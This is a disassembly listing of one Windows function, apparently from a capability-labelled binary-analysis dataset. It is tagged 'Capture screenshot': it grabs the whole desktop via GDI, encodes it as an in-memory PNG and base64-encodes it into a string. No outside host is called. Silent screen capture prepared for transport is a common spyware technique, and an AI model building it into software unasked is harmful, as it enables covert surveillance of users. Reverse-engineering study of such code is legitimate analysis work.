Function at 0x140002883
Capabilities:
Capture screenshot

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x1d8
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x180], rcx
lea rax, [rbp + 0xa0]
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
call method.Gdiplus::GdiplusStartupInput.GdiplusStartupInput_void__int__int_
lea rdx, [rbp + 0xa0]
lea rax, [rbp + 0x98]
mov r8d, 0
mov rcx, rax
call sym.GdiplusStartup
mov rax, qword [sym.imp.USER32.dll_SetProcessDPIAware]
call rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov dword [rbp + 0x138], eax
mov ecx, 1
mov rax, qword [sym.imp.USER32.dll_GetSystemMetrics]
call rax
mov dword [rbp + 0x134], eax
mov rax, qword [sym.imp.USER32.dll_GetDesktopWindow]
call rax
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetDC]
call rax
mov qword [rbp + 0x128], rax
mov rax, qword [rbp + 0x128]
mov edx, 8
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_GetDeviceCaps]
call rax
mov dword [rbp + 0x124], eax
mov rax, qword [rbp + 0x128]
mov edx, 0xa
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_GetDeviceCaps]
call rax
mov dword [rbp + 0x120], eax
mov rax, qword [rbp + 0x128]
mov edx, 0x58
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_GetDeviceCaps]
call rax
mov dword [rbp + 0x11c], eax
mov rax, qword [rbp + 0x128]
mov edx, 0x5a
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_GetDeviceCaps]
call rax
mov dword [rbp + 0x118], eax
mov eax, dword [rbp + 0x11c]
movsxd rdx, eax
imul rdx, rdx, 0x2aaaaaab
shr rdx, 0x20
sar edx, 4
sar eax, 0x1f
mov ecx, eax
mov eax, edx
sub eax, ecx
mov dword [rbp + 0x114], eax
mov eax, dword [rbp + 0x118]
movsxd rdx, eax
imul rdx, rdx, 0x2aaaaaab
shr rdx, 0x20
sar edx, 4
sar eax, 0x1f
mov ecx, eax
mov eax, edx
sub eax, ecx
mov dword [rbp + 0x110], eax
mov eax, dword [rbp + 0x138]
imul eax, dword [rbp + 0x114]
mov dword [rbp + 0x10c], eax
mov eax, dword [rbp + 0x134]
imul eax, dword [rbp + 0x110]
mov dword [rbp + 0x108], eax
mov rax, qword [rbp + 0x128]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_CreateCompatibleDC]
call rax
mov qword [rbp + 0x100], rax
mov ecx, dword [rbp + 0x108]
mov edx, dword [rbp + 0x10c]
mov rax, qword [rbp + 0x128]
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
call rax
mov qword [rbp + 0xf8], rax
mov rdx, qword [rbp + 0xf8]
mov rax, qword [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_SelectObject]
call rax
mov ecx, dword [rbp + 0x10c]
mov rax, qword [rbp + 0x100]
mov dword [rsp + 0x40], 0xcc0020
mov dword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov rdx, qword [rbp + 0x128]
mov qword [rsp + 0x28], rdx
mov edx, dword [rbp + 0x108]
mov dword [rsp + 0x20], edx
mov r9d, ecx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_BitBlt]
call rax
mov rdx, qword [rbp + 0xf8]
lea rax, [rbp + 0x80]
mov r8d, 0
mov rcx, rax
call method.Gdiplus::Bitmap.Bitmap_HBITMAP____HPALETTE___
lea rax, [rbp + 0x70]
lea rdx, str.image_png
mov rcx, rax
call sym.get_encoder_clsid_wchar_t_const_
mov dword [rbp + 0x40], 1
mov rax, qword [0x14013b230]
mov rdx, qword [rax + 8]
mov rax, qword [rax]
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x50], rdx
mov dword [rbp + 0x5c], 4
mov dword [rbp + 0x58], 1
mov dword [rbp + 0x3c], 0x64
lea rax, [rbp + 0x3c]
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x30], 0
lea rax, [rbp + 0x30]
mov r8, rax
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.ole32.dll_CreateStreamOnHGlobal]
call rax
mov rdx, qword [rbp + 0x30]
lea r8, [rbp + 0x40]
lea rcx, [rbp + 0x70]
lea rax, [rbp + 0x80]
mov r9, r8
mov r8, rcx
mov rcx, rax
call method.Gdiplus::Image.Save_IStream___GUID_const__Gdiplus::EncoderParameters_const_
mov qword [rbp + 0x28], 0
mov rax, qword [rbp + 0x30]
mov rax, qword [rax]
add rax, 0x28
mov r10, qword [rax]
mov rax, qword [rbp + 0x30]
lea rcx, [rbp + 0x20]
mov rdx, qword [rbp + 0x28]
mov r9, rcx
mov r8d, 2
mov rcx, rax
call r10
mov rax, qword [rbp + 0x30]
mov rax, qword [rax]
add rax, 0x28
mov r10, qword [rax]
mov rax, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x28]
mov r9d, 0
mov r8d, 0
mov rcx, rax
call r10
lea rax, [rbp + 0xba]
mov rcx, rax
call fcn.140090500
mov eax, dword [rbp + 0x20]
mov ecx, eax
lea rdx, [rbp + 0xba]
mov rax, rbp
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.vector_unsigned_long_long__std::allocator_unsigned_char__const_
lea rax, [rbp + 0xba]
mov rcx, rax
call sym.std::allocator_unsigned_char_::allocator__
mov dword [rbp - 4], 0
mov rax, qword [rbp + 0x30]
mov rax, qword [rax]
add rax, 0x18
mov rbx, qword [rax]
mov rax, qword [rbp + 0x30]
mov rsi, rax
mov rax, rbp
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov edi, eax
mov rax, rbp
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
lea rdx, [rbp - 4]
mov r9, rdx
mov r8d, edi
mov rdx, rax
mov rcx, rsi
call rbx
mov rcx, qword [rbp + 0x180]
call fcn.14010bed0
lea rax, [rbp + 0xbb]
mov rcx, rax
call fcn.140090480
lea rdx, [rbp + 0xbb]
lea rax, [rbp - 0x30]
mov r8, rdx
lea rdx, str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xbb]
mov rcx, rax
call sym.std::allocator_char_::allocator__
mov rax, rbp
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.size___const
mov qword [rbp + 0xf0], rax
mov rax, qword [rbp + 0xf0]
add rax, 2
movabs rdx, 0xaaaaaaaaaaaaaaab
mul rdx
mov rax, rdx
shr rax, 1
shl rax, 2
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xe8]
mov rdx, rax
mov rcx, qword [rbp + 0x180]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.resize_unsigned_long_long_
mov rax, rbp
mov rcx, rax
call method.std::vector_unsigned_char__std::allocator_unsigned_char___.data__
mov qword [rbp + 0xe0], rax
mov edx, 0
mov rcx, qword [rbp + 0x180]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator___unsigned_long_long_
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0x148], 0
mov qword [rbp + 0x140], 0
jmp 0x140002f01
mov rax, qword [rbp + 0x148]
cmp rax, qword [rbp + 0xf0]
jae 0x140002d59
mov rcx, qword [rbp + 0xe0]
mov rax, qword [rbp + 0x148]
lea rdx, [rax + 1]
mov qword [rbp + 0x148], rdx
add rax, rcx
movzx eax, byte [rax]
movzx eax, al
jmp 0x140002d5e
mov eax, 0
mov dword [rbp + 0xc8], eax
mov rax, qword [rbp + 0x148]
cmp rax, qword [rbp + 0xf0]
jae 0x140002d98
mov rcx, qword [rbp + 0xe0]
mov rax, qword [rbp + 0x148]
lea rdx, [rax + 1]
mov qword [rbp + 0x148], rdx
add rax, rcx
movzx eax, byte [rax]
movzx eax, al
jmp 0x140002d9d
mov eax, 0
mov dword [rbp + 0xc4], eax
mov rax, qword [rbp + 0x148]
cmp rax, qword [rbp + 0xf0]
jae 0x140002dd7
mov rcx, qword [rbp + 0xe0]
mov rax, qword [rbp + 0x148]
lea rdx, [rax + 1]
mov qword [rbp + 0x148], rdx
add rax, rcx
movzx eax, byte [rax]
movzx eax, al
jmp 0x140002ddc
mov eax, 0
mov dword [rbp + 0xc0], eax
mov eax, dword [rbp + 0xc8]
shl eax, 0x10
mov edx, eax
mov eax, dword [rbp + 0xc4]
shl eax, 8
add edx, eax
mov eax, dword [rbp + 0xc0]
add eax, edx
mov dword [rbp + 0xbc], eax
mov eax, dword [rbp + 0xbc]
shr eax, 0x12
mov eax, eax
and eax, 0x3f
mov rdx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator___unsigned_long_long__const
movzx eax, byte [rax]
mov ecx, eax
mov r8, qword [rbp + 0xd8]
mov rax, qword [rbp + 0x140]
lea rdx, [rax + 1]
mov qword [rbp + 0x140], rdx
add rax, r8
mov byte [rax], cl
mov eax, dword [rbp + 0xbc]
shr eax, 0xc
mov eax, eax
and eax, 0x3f
mov rdx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator___unsigned_long_long__const
movzx eax, byte [rax]
mov ecx, eax
mov r8, qword [rbp + 0xd8]
mov rax, qword [rbp + 0x140]
lea rdx, [rax + 1]
mov qword [rbp + 0x140], rdx
add rax, r8
mov byte [rax], cl
mov eax, dword [rbp + 0xbc]
shr eax, 6
mov eax, eax
and eax, 0x3f
mov rdx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator___unsigned_long_long__const
movzx eax, byte [rax]
mov ecx, eax
mov r8, qword [rbp + 0xd8]
mov rax, qword [rbp + 0x140]
lea rdx, [rax + 1]
mov qword [rbp + 0x140], rdx
add rax, r8
mov byte [rax], cl
mov eax, dword [rbp + 0xbc]
and eax, 0x3f
mov rdx, rax
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator___unsigned_long_long__const
movzx eax, byte [rax]
mov ecx, eax
mov r8, qword [rbp + 0xd8]
mov rax, qword [rbp + 0x140]
lea rdx, [rax + 1]
mov qword [rbp + 0x140], rdx
add rax, r8
mov byte [rax], cl
mov rax, qword [rbp + 0x148]
cmp rax, qword [rbp + 0xf0]
jb 0x140002d25
mov rcx, qword [rbp + 0xf0]
movabs rdx, 0xaaaaaaaaaaaaaaab
mov rax, rcx
mul rdx
shr rdx, 1
mov rax, rdx
add rax, rax
add rax, rdx
sub rcx, rax
mov rdx, rcx
mov eax, 3
sub rax, rdx
mov qword [rbp + 0xd0], rax
cmp qword [rbp + 0xd0], 3
je 0x140002f74
mov rax, qword [rbp + 0xe8]
sub rax, qword [rbp + 0xd0]
mov rdx, rax
mov rcx, qword [rbp + 0x180]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.resize_unsigned_long_long_
mov rcx, qword [rbp + 0x180]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.size___const
and eax, 3
mov dword [rbp + 0xcc], eax
mov dword [rbp + 0x13c], 0
jmp 0x140002fb2
lea rax, [0x140137159]
mov rdx, rax
mov rcx, qword [rbp + 0x180]
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
add dword [rbp + 0x13c], 1
mov eax, dword [rbp + 0x13c]
cmp eax, dword [rbp + 0xcc]
jne 0x140002f95
mov rax, qword [rbp + 0x100]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteDC]
call rax
mov rax, qword [rbp + 0x128]
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_ReleaseDC]
call rax
mov rax, qword [rbp + 0xf8]
mov rcx, rax
mov rax, qword [sym.imp.GDI32.dll_DeleteObject]
call rax
mov rax, qword [rbp + 0x30]
mov rax, qword [rax]
add rax, 0x10
mov rax, qword [rax]
mov rdx, qword [rbp + 0x30]
mov rcx, rdx
call rax
nop
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov rax, rbp
mov rcx, rax
call sym.std::vector_unsigned_char__std::allocator_unsigned_char___::vector__
lea rax, [rbp + 0x80]
mov rcx, rax
call method.Gdiplus::Bitmap.Bitmap__
jmp 0x1400030b0
mov rax, qword [rbp + 0x180]
add rsp, 0x1d8
pop rbx
pop rsi
pop rdi
pop rbp
ret